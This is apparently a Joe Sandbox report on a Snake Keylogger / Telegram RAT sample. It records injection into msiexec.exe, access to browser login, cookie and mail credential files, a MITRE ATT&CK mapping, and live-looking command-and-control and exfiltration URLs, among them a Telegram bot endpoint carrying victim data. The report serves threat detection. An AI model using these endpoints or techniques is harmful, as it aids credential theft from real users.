Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3F40000

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Rundholterne89.exe

Code function: 0_2_00405D51 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D51

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 6624, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Jump to behavior

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 6624, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 6624, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Software Packing	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	1 DLL Side-Loading	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Virtualization/Sandbox Evasion	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Rundholterne89.exe	42%	ReversingLabs	Win32.Spyware.Snakekeylogger
Rundholterne89.exe	100%	Avira	TR/AVI.Inj.npwdo

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe	100%	Avira	TR/AVI.Inj.npwdo
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe	42%	ReversingLabs	Win32.Spyware.Snakekeylogger

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_Error	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.174	true	false	unknown
drive.usercontent.google.com	142.250.186.65	true	false	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
smtp.ionos.es	213.165.67.118	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	193.122.130.0	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/173.254.250.76	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:472847%0D%0ADate%20and%20Time:%2022/10/2024%20/%2022:38:31%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20472847%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/173.254.250.76$	msiexec.exe, 00000006.00000002.2625379700.0000000023287000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000232CC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.office.com/	msiexec.exe, 00000006.00000002.2625379700.00000000233FF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:472847%0D%0ADate%20a	msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1859059951.00000000046A6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1859059951.00000000046A6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lB	msiexec.exe, 00000006.00000002.2625379700.00000000233FA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/	msiexec.exe, 00000006.00000002.2603668887.00000000006AC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Rundholterne89.exe, Rundholterne89.exe.2.dr	false	URL Reputation: safe	unknown
http://smtp.ionos.es	msiexec.exe, 00000006.00000002.2625379700.0000000023389000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	msiexec.exe, 00000006.00000002.2625379700.00000000233CE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1859059951.00000000046A6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_Error	Rundholterne89.exe, Rundholterne89.exe.2.dr	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	msiexec.exe, 00000006.00000002.2625379700.0000000023389000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.1859059951.0000000004551000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/	msiexec.exe, 00000006.00000002.2603668887.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	msiexec.exe, 00000006.00000002.2625379700.00000000233C9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	msiexec.exe, 00000006.00000002.2625379700.00000000232F3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.000000002325C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000232CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/l	msiexec.exe, 00000006.00000002.2603668887.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	msiexec.exe, 00000006.00000003.1964825545.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1859059951.0000000004551000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	msiexec.exe, 00000006.00000002.2626954688.0000000024231000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	msiexec.exe, 00000006.00000002.2625379700.000000002325C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
142.250.185.174	drive.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
213.165.67.118	smtp.ionos.es	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
142.250.186.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1539382
Start date and time:	2024-10-22 16:02:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Rundholterne89.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/14@6/6
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 97% Number of executed functions: 136 Number of non-executed functions: 41
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 8084 because it is empty
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Rundholterne89.exe

Simulations

Behavior and APIs

Time	Type	Description
10:03:14	API Interceptor	35x Sleep call for process: powershell.exe modified
10:04:19	API Interceptor	15098x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.11226.22760.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
188.114.97.3	Technical Datasheet and Specification_PDF.exe	Get hash	malicious	Unknown	Browse	www.rihanaroly.sbs/othk/?0dk=RykyQ3QZ+r1dqZwhAQupYMuQy26h2PYi8Fyfl3RAfHSVFgYOfXbCDUNV+aNHe22U393WzLygMMdANTa+vksg1hx1LENxGTGsZa2bATkiGgfiS6KvHA==&urk=NXuT
	request-BPp -RFQ 0975432.exe	Get hash	malicious	PureLog Stealer	Browse	www.ergeneescortg.xyz/guou/
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	www.thetahostthe.top/9r5x/
	http://comodozeropoint.com/updates/1736162964/N1/Team.exe	Get hash	malicious	Unknown	Browse	comodozeropoint.com/updates/1736162964/N1/Team.exe
	SecuriteInfo.com.Win32.MalwareX-gen.14607.6011.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	SecuriteInfo.com.Trojan.DownLoader47.45523.5497.16574.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	SecuriteInfo.com.Trojan.DownLoader47.45523.5497.16574.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	ZP4KZDHVHWZZ2DC13DMX.exe	Get hash	malicious	Amadey	Browse	tipinfodownload-soft1.com/g9jvjfd73/index.php
	aQdB62N7SB.elf	Get hash	malicious	Shikitega, Xmrig	Browse	main.dsn.ovh/dns/loadbit
	PO#071024.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/nnla/
193.122.130.0	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	001_215_EA2047939_202410210815.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
